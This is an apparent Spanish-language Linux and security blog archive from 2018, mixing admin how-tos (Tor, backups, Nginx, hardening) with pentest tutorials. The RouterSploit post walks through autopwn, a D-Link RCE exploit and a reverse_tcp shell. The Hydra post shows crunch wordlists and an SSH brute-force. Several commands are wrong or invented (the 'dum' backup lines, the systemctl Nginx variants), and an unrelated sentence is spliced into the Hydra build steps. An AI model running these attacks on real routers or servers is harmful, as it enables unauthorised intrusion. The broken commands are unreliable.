jueves, 29 de noviembre de 2018

Instalar navegador Tor en Debian

Primero abrimos un terminal y entramos como usuario root luego procedemos a colocar los repositorios del navegador Tor .

Agregamos al archivo /etc/apt/sources.list los repositorios oficiales.
nano /etc/apt/sources.list 

añadimos:
deb https://deb.torproject.org/torproject.org stretch main
deb-src https://deb.torproject.org/torproject.org stretch main

una vez colocado los repositorios procedemos guardar ctrl+o y ctrl+x para salir 

Ahora procedemos a instalar la clave gpg
gpg --keyserver keys.gnupg.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -

por ultimo actualizamos los paquetes del sistema
sudo ​apt update

y una vez actualizado procedemos a la instalación del navegador tor
sudo apt install tor deb.torproject.org-keyring

Una vez instalado el navegador Tor, procedemos a la configuración, donde podemos elegir desde que pais queremos navegar.



Para esto se debe editar el archivo Tor, que se encuentra en la ruta: /etc/tor/torrc se debe agregar al final lo siguiente:

StrictNodes 1
ExitNodes {ES}

Con esto lo que hace es forzar el navegador a recibir una IP del pais de nuestra elección.
Puede ser (EC) Ecuador, (IT) Italia, (AR) Argentina, (VE) Venezuela. Para comprobar entramos a http://www.ip-adress.com/ y comprobamos que este funcionando bien.

Con esto podemos decir que culminamos la instalación, podemos realizar la ejecución colocando tor-browser.


















miércoles, 28 de noviembre de 2018

Analizar los log de Unix/Linux con grep

Los log es archivo donde se arrojan todos los procesos que se llevan a cabo en una aplicación, servicio, etc

Para analizar estos archivos se puede utilizar el comando grep con la finalidad de buscar una palabra especifica dentro los archivos de la ruta /var/log es el siguiente:

grep -ir palabra_buscar /var/log/*

si queremos filtrar diferentes tipos de mensajes se pueden hacer de la siguiente manera

grep -ir syslog /var/log/*
grep -ir ssh /var/log/*
grep -ir warning /var/log/*
grep -ir critical /var/log/*
grep -ir error /var/log/*

miércoles, 24 de octubre de 2018

Análisis de Vulnerabilidades de un Router

Ahorita realizaremos un análisis de vulnerabilidades de los routers de nuestra organización, para ello utilizaremos un Framework Open Source de seguridad llamado RouterSploit, con el se puede realizar auditoria de distintos dispositivos como routers, webcam, equipos NAS, entre otros.

Este framework contiene 5 módulos, que son los siguientes:
1. exploit
2. creds
3. scanners
4. payloads
5. generic

Su función es la siguiente:
1. exploits: Este módulos que aprovechan las vulnerabilidades identificadas.
2. creds: El módulos creds es para probar credenciales en los servicios de red.
3. scanners: Con este módulos se verifica si un objetivo es vulnerable a cualquier exploit.
4. payloads: módulos para generar cargas útiles en diversas arquitecturas.
5. generic: módulos que realizan ataques genéricos.

Ya que conocemos los modulos vamos a proceder a realizar la instalación

Instalación

Para un correcto funcionamiento de RouterSploit se necesita instalar los siguientes paquetes:

- future
- requests
- paramiko
- pysnmp
- pycrypto
- bluepy (opcional)

#apt install future requests paramiko pysnmp pycrypto

Ahora se procede a la instalación de pip en Python3

#apt install python3-pip

Clonación del RouterSploit 

git clone https://www.github.com/threat9/routersploit

Nos posicionamos en él directorio.

Una vez que se descomprime el archivo descargado entramos en la carpeta


cd routersploit

Instalamos los requisitos.


python3 -m pip install -r requirements.txt

Ejecución de RouterSploit

python3 rsf.py

Como usar RouterSploit

Para comenzar a utilizar el RouterSploit debes conocer la ip de los dispositivos que vas auditar 

Comandos iniciales


Una vez que se inicia el RouterSploit, se procede a seleccionar el modulo scanner con autopwn (Esto lanzara todos los exploit contra el objetivo)

use scanner/autopwn


Luego se procede a marcar el objetivo


set target [IP-DISPOSITIVO]

Se procede a realizar el attack del dispositivo 

Colocamos el siguiente comando
run

Una vez finalizado el chek del dispositivo mostrara si posee vulnerabilidades y cual es el exploits para esa vulnerabilidad, para esto se debe utilizar los siguientes comando

Comando use exploits/routers/marca_routers/codigo_exploits

Uso del exploit para el objetivo
use exploits/routers/dlink/dls_2750b_rce

Comando para colocar exploits en el objetivo
set target ip

Ejemplo


set target 192.168.1.1

Verificamos la vulnerabilidad del objetivo check

Atacamos run

Consultamos la carga realizada show payloads

Colocamos el payloads reverse_tcp y consultamos las opciones
set payloads reverse_tcp
show options

Cargamos la ip del host donde queremos hacer el ataque
set lhost 192.168.1.10

Atacamosrun

Una vez listo podemos colocar un pwd o ls y listamos los directorios

Posteriormente salimos
exit

Como actualizar RouterSploit

Nos ubicamos en el directorio

cd routersploit

Una vez en el directorio realizamos un pull para actualizar los paquetes
git pull

lunes, 1 de octubre de 2018

Como crear Backup en Linux

Como crear Backup en Linux


Cuando se administran plataformas se deben tener políticas que permitan mantener el resguardo total de la data, políticas de respaldos diarios ya que no sabemos si problemas graves afecten la información en producción

Para esto hay comandos como los siguientes para realizar el respaldo y la restauración de la misma

Sintaxis para realizar Backup en Linux

Permite guardar el directorio completo
dum -0aj -f /ruta-donde-se-guardara-el-respaldo.bak: /ruta-del-respaldo

Permite guardar el directorio incremental
dum -1aj -f ruta-donde-se-guardara-el-respaldo.bak: /ruta-del-respaldo

Permite restaurar el backup creado interactivamente
restore -if /ruta-donde-se-restaurara-el-respaldo.bak:

Ejemplo de como realizar Backup en Linux

Permite guardar el directorio WWW completo 
dump -0aj -f /var/www.bak /www: hacer una salva completa del directorio ‘/www’.

Permite guardar el directorio WWW incremental
dump -1aj -f /var/www.bak /www: hacer una salva incremental del directorio ‘/www’.

Permite restaurar el backup creado interactivamente
restore -if /var/www.bak: restaurando una salva interactivamente.

miércoles, 26 de septiembre de 2018

Comandos en Nginx



1.- Start Nginx

#service nginx start

otra opción...

#systemctl start nginx

La respuesta valida debe ser 

Starting nginx server…

2.- Stop Nginx

#service nginx stop

otra opción...

#systemctl stop nginx

La respuesta valida debe ser 

Stopping nginx Server…

3.- Detener todos los procesos de Nginx

#killall -9 nginx

4.- Cerrar las conexiones abiertas antes de detener Nginx

#service nginx quit

otra opción

#systemctl quit nginx

5.- Reiniciar el servicio de Nginx

#service nginx restart

otra opción...

#systemctl restart nginx

La respuesta valida debe ser 

Stopping nginx Server… [ OK ] 

Starting nginx Server… [ OK ]

6.- Recargar el servicio de Nginx ( Este comando permite realizar el reinicio tomando una nueva configuración)

#service nginx reload

otra opción


#systemctl reload nginx

La respuesta valida debe ser 

Reloading nginx Server… [ OK ]

7.- Estado del servidor

#service nginx status

otra opción

#systemctl status nginx

8.- Comprobar que una configuración realizada es valida (antes de reiniciar o hacer un reload):

#service nginx configtest

otra opción


#systemctl config nginx


La respuesta valida debe ser 

nginx: the configuration file /etc/nginx-sp/nginx.conf syntax is ok

nginx: configuration file /etc/nginx-sp/nginx.conf test is successful


9.- Verificar versión de nginx

#service nginx -v

otra opción

#systemctl -v nginx

10.- Si quieres mas información sobre la versión de nginx, incluyendo su configuración

#service nginx -V

otra opción

#systemctl -V nginx

11.- Mostrar la ayuda en consola

#service nginx -h

otra opción

#systemctl -h nginx


miércoles, 1 de agosto de 2018

Como crear un diccionario de contraseñas


En este articulo voy a explicar como es el proceso para crear un diccionario de usuarios y un diccionario de contraseña que luego lo podrás utilizar para Hydra para realizar el acceso y la validación de usuario y contraseña ya creados 

En ese paso generamos el diccionario de usuarios
#nano user_list


admin

administrador
sudo
users
superusers


Nota: puedes ingresar otros usuarios basados en tu prueba estos son ejemplos



#cat user_list




Procedemos a utilizar la herramienta crunch para generar el diccionario de contraseñas



Para esto tenemos que instalar Crunch



#apt install crunch




Una vez instaldo Crunch realizamos el siguiente paso

#crunch 8 8 arondon12358 > /home/usuario/pass_list

Aquí estamos indicando crear un diccionario de contraseñas con una logitud minima de 8 caracteres, longitud máxima de 8 caracteres y basada en arondon12358



Para verficar el archivo creado realizamos el siguiente comando
#head pass_list
y
#tail pass_list



Una vez creado los diccionarios de usuarios y contraseñas se debe realizar la comprobación de conectividad y puertos abiertos de la maquina a la que se desea acceder realizando ping y un análisis con nmap

Una vez verificada la conectividad y los puertos, procedemos a realizar el ataque con Hydra, colocamos en el terminal lo siguiente

Comando para que indique las opciones y ejemplos de hydra
#hydra 

Con los parametros -L y -P utilizaremos los diccionarios creados en la primera parte del articulo
Con el parametro -s indicaremos el puerto (Puede ser opcional)
Con el parametro -f cerraremos la herramienta en el momento que encuentre un usuario y contraseña

#hydra ip-atacar ssh -s 22 -L user_list -P pass_list -f -vV 

Presionamos enter y esperamos que encuentre un usuario contraseña valido
Una vez finalizado arrojara que ha encontrado un usuario y password valido, el cual puedes usarlo con el comando ssh la misma ip que utilizamos con hydra y podras acceder al equipo 

martes, 17 de julio de 2018

Instalación de Hydra en Debian

Instalación de Hydra en Debian 9

Instalar Hydra en Linux, desde repositorios
Sabias que en Debian 8 y 9 (la ultima versión) puede instalar Hydra desde los repositorios. 

#apt-get install hydra-gtk 


Con estos pasos iniciaras la instalacion de la versión de línea de comando junto con la GUI del front-end

¡No haga esto si quiere una versión más rápida y nueva con más funciones! 

En el caso de eliminarlo lo puedes hacer con el siguiente comando:

#apt-get purge hydra-gtk && sudo apt-get autoremove && sudo apt-get autoclean

Instale Hydra en Linux, desde la fuente, la última versión
Con esta modalidad vamos a proceder a compilar desde el código fuente 

Primero abres un terminal y procedes a realizar una actualización
#apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade

Una vez actualizado el sistema procedemos a realizar la instalación de unas dependencias de Hydra en Linux
#apt-get -y install build-essential 
#apt-get install git 

En estas opciones, marque los correctos para su distribución, o simplemente elimine las barras y ejecútelos todos, de esa manera debe tener todo instalado correctamente.
En el caso que indique que algo no se encuentra. 
#apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev \ libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \ firebird-dev libncp-dev

Una vez instalado todos los paquetes necesarios para utilizar hydra procedemos a clonarlo de Gtihub
git clone https://github.com/vanhauser-thc/thc-hydra.git 

Ahora, ve a la carpeta clonada con tu terminal. 
cd thc-hydra 

Luego configúralo. No se necesitan privilegios de root esta vez. 
./configure 

Cuando la última línea now type "make" , sabrá que nada salió mal, así que hagámoslo.
make 

Si los hombres pudieran quedar embarazadas, el aborto sería un sacramento | ¿Qué? | Está bien cuando veas ese texto, puedes hacer el siguiente comando. ¡Este como root! 
sudo make install

Una vez culminado este proceso ya debería estar instalado en todo tu sistema, por lo cual no deberias entrar en la carpeta para usarlo. 


Para utilizarlo puedes escribir now cd para ir a su carpeta de inicio y luego escriba hydra -help para probarlo. Si obtiene líneas de instrucciones, debe instalarse correctamente.

Hydra - Ataque por contraseña

¿Qué es un ataque por contraseña?
Un ataque por contraseña se trata de adivinar las contraseñas que se encuentren cifradas de forma manual o tambien utilizando un script que permita automatizar este proceso.

¿Cuales son los tipos de ataques de contraseña?
Hay varios tipos de contraseñas que se pueden insertar como por ejemplo las alfabéticas, numéricas , caracteres , minúsculas, mayúsculas , caracteres especiales.

¿Como se dan los tipos de ataques de contraseñas?
Ataques de diccionario: usando una lista de contraseñas tradicionales.
Phishing de contraseña: se hace pasar por una entidad confiable.
Ataques de fuerza bruta: generando todas las combinaciones posibles.

¿Que es Hydra?
Permite forzar el inicio de sesión de red de forma rapida, la cual te perimeta enlazarte a varios servicios del sistema que se requiere analizar.

¿Cuales son los Protocolos soportados por Hydra?
POP3
FTP
HTTP-GET, HTTP-FORM-POST, HTTPS-GET …
Firebird
Subversion (SVN)
Telnet
Y muchos más

¿Qué tipo de ataques puede hacer Hydra?
Ataques de diccionario paralelo (16 hilos por defecto)
Fuerza bruta / ataques híbridos
Nulos (campos vacíos), invertidos (coloca la contraseña al revés),coloca la contraseñas en el campo de usuario
Disminuye el proceso de ataque con la siguiente intención: evita la detección: IPS (sistema de prevención de intrusiones)
Ataque en paralelo de diferentes servidores.

¿Como instalar Hydra en Linux?

lunes, 25 de junio de 2018

Hardening - actividades debemos desarrollar para asegurar nuestros Sistemas:

En este post se listan las actividades que se deben realizar en el hardening, con la finalidad de asegurar tu sistema 


  • Los procesos de arranque (del bootstrapping del sistema)
  • Los servicios o demonios que se ejecuten en el inicio y apagado del sistema
  • Aseguramiento de Sistemas de archivos (comúnmente denominados File System en *NIX y volúmenes en Netware – Novell)
  • Uso de opciones de limites y forzar cuentas de usuario
  • Políticas del sistema, filtrados y Acls
  • Protección a ataques físicos o de Hardware (Seguridad Física)
  • Actualización de Firmware, BIOS, Softpaq, contraseñas de arranque de los equipos, desactivación de unidades externas en servidores como pen drive o memorias USB, disqueteras, unidades de Cd/DvD, opticas.
  • Protección y renombre de cuentas de Administración y deshabilitar o invalidar cuentas estándares, invitado, uso de cuentas limitadas.
  • Restricción de Instalación de Software y Hardware de acuerdo a las políticas de seguridad.
  • Habilitar los sistemas de Auditorias y Monitoreo de logs.
  • Asegurar consolas de administración, pantallas de logeo, terminales virtuales y accesos remotos.
  • Políticas y procedimientos de administración de cuentas de usuario, grupos, TCBS (Truste Base Computing), módulos de autenticación agregables y relaciones de confianza.
  • Administración de paquetes de instalación, parches (Patchs), upgrades, updates, módulos instalables, integridad de archivos y permisos en el sistema.
  • Aseguramiento de las Herramientas de Desarrollo y compiladores.
  • Aseguramiento de Núcleos (Kernel) del sistema.
  • Instalación y afinación de Firewalls, Kits de Seguridad (Antivirus, antispyware, antimalware, anti hackers, anti banners) Sistemas de Detección de Intrusos y Sensores como IDS,IPS,HIDS, NIDS.
  • Uso de Herramientas para Pen Testing y Monitoreo .
  • Configuración de Protocolos, Puertos y Servicios (Solo los necesarios).
  • Implementación de esquemas de seguridad, DMZ, Front End / Back End, Router apantallados, proxys, Firewalls.
  • Políticas de Procedimientos de Respaldo y de Disaster Recovery.

miércoles, 16 de mayo de 2018

Nikto - escaner de vulnerabilidades web

Nikto es una escaner Open Source de vulnerabilidades web el cual esta escrito en el lenguaje de programación Perl, muy utilizado para quienes hacemos hacking ético y pentesting Nikto es puede detectar más de 6700 archivos maliciosos, analizar versiones desactualizadas en más de 1250 servidores y encontrar fallos sobre versiones especificas en más de 270 servidores. 
Nikto también intenta detectar configuraciones del servidor y las versiones exactas de las tecnologías que usa, Puede evadir sistemas de detección de intrusos (IDS)  y sirve para realizar el control de vulnerabilidades GCI.

Por defecto Nikto viene instalado en Kali Linux, Parrot Security OS, entre otras distribuciones GNU/LINUX sin embargo lo podemos descargar desde su repositorio en 
GitHub. https://github.com/sullo/nikto/archive/master.zip

El comando más sencillo que podemos ejecutar es: 
nikto -h IP.
nikto -h Dominio.
El cuál asume con el parámetro -h que queremos escanear específicamente por el puerto 80

Instalación de Nikto
Ubuntu: apt–get install nikto
Debian: apt install nikto

Actualizando Nikto:

Es posible actualizar Nikto con una conexión a Internet, de esta forma se mantiene el software con la ultima versión estable, lo que siempre es deseable y aconsejable:

# nikto -update


Uso básico de Nikto:

La opción -h es obligatoria y es allí donde se incluyen los objetivos del escaneo, en esta opción se puede especificar los siguientes valores

dirección IP: nikto -h 127.0.0.1
dirección IP, especificando puerto: nikto -h 127.0.0.1:80
dirección IP especificando puerto(s) y protocolo: nikto -h 127.0.0.1 -p 443,80,8080 -ssl
dirección virtual host: nikto -h localhost
dirección virtual host, especificando puerto: nikto -h localhost.1:80
dirección virtual host, especificando puerto(s) y protocolo: nikto -h localhost -p 443 -ssl
Especificando múltiples Objetivos: nikto -h ficheroObjetivos
El fichero de objetivos contiene un objetivo por linea

Utilizando la entrada “greppable” de un comando nmap: nmap -p80 192.168.1.0/24 -oG – | nikto -h –

En este ejemplo se coloco lo siguiente:
nikto -h ip

Arrojo el siguiente resultado donde se detalla desde un inicio el 

Uso de proxys:

Si la máquina donde se ejecuta Nikto pasa por medio de un proxy es posible establecer el puerto y el host del proxy:

nikto -h localhost -p 8080 -useproxy proxyIp

Por otro lado, si se desea que esta opción sea persistente, es posible establecer estas características en el fichero de configuración nikto.conf en las entradas PROXY*


El proyecto se encuentra ubicado en: http://cirt.net/nikto2 y se distribuye bajo licencia GNU/GPL lo que indica que el código se encuentra a disposición publica, para usar, modificar y/o distribuir.



lunes, 7 de mayo de 2018

Comando para WPScan

  Comando para WPScan: Analisis de Vulnerabilidades de WordPress 

Es un escaner black-box de vulnerabilidades sobre la plataforma de WordPress el cual puede ser utilizado para reconocer instalaciones WordPress para encontrar fallas de seguridad.

 

— update Actualiza la base de datos la última versión.
 –url | -u <target_url> El escáner de dominios/url para wordpress.
 –force | -f Fuerza a WpScan que no verifique si el sitio remoto utiliza WordPress.
 –enumerate | -e [option(s)] Opciones de enumeración:
 u Nombres de usuarios desde el id 1 al 10.
 u [10-20] Nombres de usuarios desde el id 10 al 20 (debe escribir en [] los dígitos.
 p Plugins
 vp Unicamente plugins vulnerables.
 ap Todos los plugins (puede demorar).
 tt  timthumbs
 t Temas
 vt Unicamente temas vulnerables.
 at Todos los temas (puede demorar).
 vt,tt,u,vp Son los utilizados por defecto.
 –exclude-content-based “<regexp or string>”  Utilizado con la opción de enumeración, excluirá todas las ocurrencias basadas en la expresión regular “regexp” o cadena “string. No es necesario proveer la expresión regular o cadena, pero debe tipear las comillas simples o dobles.
 –config-file  | -c <config file> Utiliza el archivo de configuración especificado, vea el example.conf.json
 –user-agent   | -a <User-Agent> Utiliza el User-Agent especificado.
 –cookie <String>  Cadena para leer cookies.
 –random-agent | -r Utiliza un User-Agent en forma aleatoria.
 –follow-redirection Si la url del objetivo tiene una redirección, será serguida sin preguntar si quiere hacerlo o no.
 –batch No interactua con el usuario por el ingreso de datos, utiliza el comportamiento por defecto.
 –no-color No utiliza colores para la salida de comandos.
 –wp-content-dir <wp content dir> WPScan intenta encontrar el directorio de contenidos (ej. wp-content) escaneando la página principal, de todos modos, puede especificarlo. Los sub-directorios estan permitidos.
 –wp-plugins-dir <wp plugins dir> Mismo funcionamiento que –wp-content-dir, pero para el directorio de plugins. Si no indica, WPScan utilizará wp-content-dir/plugins. Los subdirectorio están permitidos.
 –proxy <[protocol://]host:port> Proveer un servidor proxy. Http, Socks4, Socks4a y Socks5 son soportados. Si no se brinda un protocolo (el formato host:port) utilizará Http por defecto.
 –proxy-auth <username:password> Suministrar las credenciales para el uso del proxy.
 –basic-auth <username:password> Establecer autenticación básica para el uso de Http.
 –wordlist | -w <wordlist> Provee una lista de palabras para realizar fuerza bruta a la contraseña.
 –username | -U <username> Realiza fuerza bruta al nombre de usuario brindado.
 –usernames     <path-to-file> Realiza fuerza bruta unicamente a los nombres de usuarios desde un archivo.
 –threads  | -t <number of threads> Número de hilos a utilizar cuando se solicita utilizar multi-hilos.
 –cache-ttl       <cache-ttl> Establece la cache TTL.
 –request-timeout <request-timeout>  Tiempo que expira la solicitud.
 –connect-timeout <connect-timeout>  Tiempo que expira la conexión.
 –max-threads     <max-threads> Máximo hilos a utilizar.
 –help     | -h Imprime ésta ayuda.
 –verbose  | -v Modo verbose.
 –version Muestra la versión actual y sale de ejecución.

 

martes, 1 de mayo de 2018

Hardenning en Debian

¿Qué es Hardenning?

Hardenning es el proceso en el cual se asegura un sistema al reducir su superficie de vulnerabilidad, que es mayor cuando un sistema realiza más funciones; normalmente un sistema de función única es más seguro que un sistema multipropósito. 

La reducción de las formas de ataque disponibles generalmente incluye el cambio de contraseñas predeterminadas, la eliminación de software innecesario, nombres de usuario innecesarios o inicios de sesión, y la desactivación o eliminación de servicios innecesarios.

La mayoría de las personas dicen que LINUX es un sistema sumamente seguro por defecto sin embargo se puede decir que LINUX es realmente seguro personalizando o ajustando algunas configuraciones.

1. Seguridad del sistema físico

Configure el BIOS para desactivar el arranque desde CD/DVD, dispositivos externos, unidad de disquete en el BIOS. Luego, habilite la contraseña del BIOS.

2. Cifrado de la distro

En su instalación tiene que cifrar su disco duro, la mayoría de las distribuciones de Linux le permitirán encriptar sus discos antes de la instalación. El cifrado de disco es importante en caso de robo porque la persona que robó su computadora no podrá leer sus datos si conectan el disco duro a su máquina.

3. Particiones de disco

Es importante tener diferentes particiones para obtener una mayor seguridad de los datos en caso de que ocurra un desastre. Al crear diferentes particiones, los datos se pueden separar y agrupar. Cuando ocurre un accidente inesperado, solo los datos de esa partición se dañarán, mientras que los datos en otras particiones sobrevivirán. Asegúrese de que debe tener las siguientes particiones por separado y asegúrese de que las aplicaciones de terceros deben instalarse en sistemas de archivos separados en /opt.

/
/boot
/usr
/var
/home
/tmp
/opt

Después de la instalación podemos colocar contraseña al grub para que sea más seguro.

Pedimos el tipo de cifrado

grub-mkpasswd-pbkdf2

Escribimos nuestro usuario y contraseña y nos dará un cifrado y vamos agregarlo.

nano  /etc/grub.d/00_header

Y vamos agregar lo siguiente.

cat << EOF
set superusers="username"
password_pbkdf2 username 'paste the generated code copied above here'
EOF

Mi ejemplo:

cat << EOF
set superusers="freddy"
password_pbkdf2 freddy grub.pbkdf2.sha512.10000.XXXXXXXXXXXX$
EOF
Para vamos actualizar nuestro grub

update-grub
grub-mkconfig -o /boot/grub/grub.cfg

4. Minimice los paquetes para minimizar la vulnerabilidad

Se recomienda evitar la instalación de paquetes inútiles para evitar vulnerabilidades en los paquetes. Esto puede minimizar el riesgo de que el compromiso de un servicio pueda llevar a un compromiso de otros servicios. Encuentre y elimine o deshabilite servicios no deseados del servidor para minimizar la vulnerabilidad.
Podemos agregar los siguientes repo que pueden ayudarte por el lado de seguridad.

deb http://ftp.debian.org/debian/ jessie-updates main contrib non-free
deb http://security.debian.org/ jessie/updates main contrib non-free

Podemos actualizar

apt-get update && apt-get upgrade && apt-get dist-upgrade

Checa los paquetes instalados con

apt-cache pkgnames
apt-cache pkgnames |less

Y así podemos ver que paquete nos puede servir o que paquete no me va a seguir.

apt-get remove package-name

5. Verifique los puertos abierto de la red

Con la ayuda del siguiente comando ‘netstat’ puede ver todos los puertos abiertos y programas asociados.

netstat -tulpn